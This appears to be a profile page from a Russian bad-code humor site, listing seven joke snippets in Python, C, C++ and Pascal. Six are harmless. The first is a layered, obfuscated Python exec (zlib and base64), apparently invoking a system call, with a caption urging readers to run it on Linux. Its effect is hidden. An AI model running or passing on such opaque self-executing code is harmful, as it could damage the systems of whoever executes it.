1. Список говнокодов пользователя frp

    Всего: 7

  2. Python / Говнокод #9249

    −106

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    #!/usr/bin/env python3.2
    from zlib import decompress, compress
    exec(decompress(b'x\x9cm\xccA\x0e\x83@\x08\x05\xd0}O\xc1\x11P\xc0\xe2i\x9a?\x0c\
    $]\xe8\x18\xb5\xf7\xef\xbaI\xdf\x01^\x9dc\xa3\x86+\x17\xa5\xf7v\x8c\xf3\xa6\xb6\
    h\xcf\x18=\t\x17\xd5g\x8f\x97\x9a\x89\x07\xca<\x1ak\xce\xc9.\xc5\xe2\xd3\x0cCa}\
    \xd4\xdf%\xf7\x9f%a\xaaP\xe9\xae<e\xc2W\xb4\xf0gD\x15s\t\xbeK\x9a,O'))
    
    cst = b'ZnJvbSB6bGliIGltcG9ydCBkZWNvbXByZXNzIGFzIGZ1bmNfMTNlZmU3Njk0NWRjZGIxMTE\
    xNjcyZjM1OGMyMzBhYjQKZXhlYyhmdW5jXzEzZWZlNzY5NDVkY2RiMTExMTY3MmYzNThjMjMwYWI0KG\
    IneFx4OWNLK1x4Y2FceGNmVVx4YzgvVlx4YzhceGNjLVx4YzgvKlEoXHhhZSwuSVx4Y2RVSCxWSCtce\
    GNkS1x4OGU3NUkyNTYwNzI1MUhNTU1ceGIySFx4YjNIXHhiNTQ2MU41N0wzXHhiMjA0N1x4ZTMiSlx4\
    OTVceDg2elFceGFlXHg4Mm5RXHg5YUJceDlkXHhiYSZceDAwXHhkOVx4YjUhKicpKQ=='
    exec(func_45538caf58cb04e2e083f03812a5afa9(cst))

    Запустите под Linux (или другим Unix-like)

    frp, 28 Января 2012

    Комментарии (11)
  3. Си / Говнокод #4088

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    #include <stdio.h>
    
    #define template_pair_declare(x,y) \
    struct x##_##y##_pair \
    { \
        x first; \
        x second; \
    }
    
    #define template_pair(x,y) struct x##_##y##_pair
    
    #define template_mkpair_declare(x,y) \
    template_pair(x,y) mkpair_##x##_##y(x _first,y _second) \
    { \
        template_pair(x,y) res;res.first=_first;res.second=_second; \
        return res; \
    }
    
    #define template_mkpair(x,y) mkpair_##x##_##y
    
    template_pair_declare(int,int);
    template_pair_declare(float,float);
    
    int main()
    {
        template_pair(int,int) ip;
        scanf("%d%d",&ip.first,&ip.second);
        printf("Sum: %d\n",ip.first+ip.second);
        template_pair(float,float) fp;
        scanf("%f%f",&fp.first,&fp.second);
        printf("Sum: %f\n",fp.first+fp.second);
        return 0;
    }

    Шаблонные структуры и шаблонные функции для труЪ сишников.

    frp, 24 Августа 2010

    Комментарии (9)
  4. Си / Говнокод #3979

    +136

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    #include <stdio.h>
    
    #define declare_generic_func(x)\
    x add_##x(x x1,x x2) \
    {\
    	return x1+x2;\
    }
    #define generic_func(x,name) name##_##x
    
    declare_generic_func(int);
    declare_generic_func(double);
    
    int main()
    {
    	int a,b;
    	double ad,bd;
    	printf("Enter two integer numbers: ");
    	scanf("%d%d",&a,&b);
    	printf("Result: %d\n",generic_func(int,add)(a,b));
    	printf("Enter two real numbers: ");
    	scanf("%lf%lf",&ad,&bd);
    	printf("Result: %lf\n",generic_func(double,add)(ad,bd));
    	return 0;
    }

    Дженерики для труЪ сишников.

    frp, 14 Августа 2010

    Комментарии (7)
  5. Си / Говнокод #3372

    +144

    1. 1
    2. 2
    3. 3
    bool somevar;
    //... ... ...
    if(somevar==true)doSomething();

    И это в книге, по которой учат детей.

    frp, 01 Июня 2010

    Комментарии (11)
  6. C++ / Говнокод #2892

    +940.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    bool checkForExe(std::string ext)
    {
        return ext==".exe" ? true : 
                  ext==".Exe" ? true :
                  ext==".eXe" ? true :
                  ext==".EXe" ? true :
                  ext==".exE" ? true :
                  ext==".ExE" ? true :
                  ext==".eXE" ? true :
                  ext==".EXE" ? true : false;
    }

    Нашел в одной моей очень древней программе-шутке. Регистронезависимая проверка на расширение .exe.

    frp, 29 Марта 2010

    Комментарии (48)
  7. Си / Говнокод #2886

    +143.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    //...
    int a[65535],i;
    //...
    while(a[i]>0)
    {
    i++;
    a[i]++;
    a[i]++;
    a[i]++;
    a[i]++;
    //еще 60 раз a[i]++;
    i--;
    a[i]--;
    }

    Вот что значит компилятор Brainfuck => C без примитивнейшего оптимизатора.
    (приведенный обрывок кода соответствует [>++++еще 60 плюсов<-])

    frp, 28 Марта 2010

    Комментарии (13)
  8. Pascal / Говнокод #2882

    +91.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    {  Длинная арифметика. 
        [0] - длина числа
        [1..1000] - цифры в системе с основанием 10000, записанные в обратном порядке
    }
    type TLong = array[0..1000] of integer;
    
    procedure Add(A,B:TLong;var C:TLong);
    {Здесь идет процедура сложения в столбик - ничего интересного}
    procedure MulByShort(A:TLong;B:integer;var C:TLong); {умножение длинного на короткое}
        var i:integer;
    begin
        initByZero(C);{инициализация C нулями}
        for i:=1 to B do Add(C,A,C);
    end;

    Найдено в решении олимпиадной задачи на FreePascal. Обратите внимание на особо остроумный алгоритм умножения: надо же до такого додуматься. Также интересно, чем мотивирована передача массивов по значению.

    frp, 28 Марта 2010

    Комментарии (9)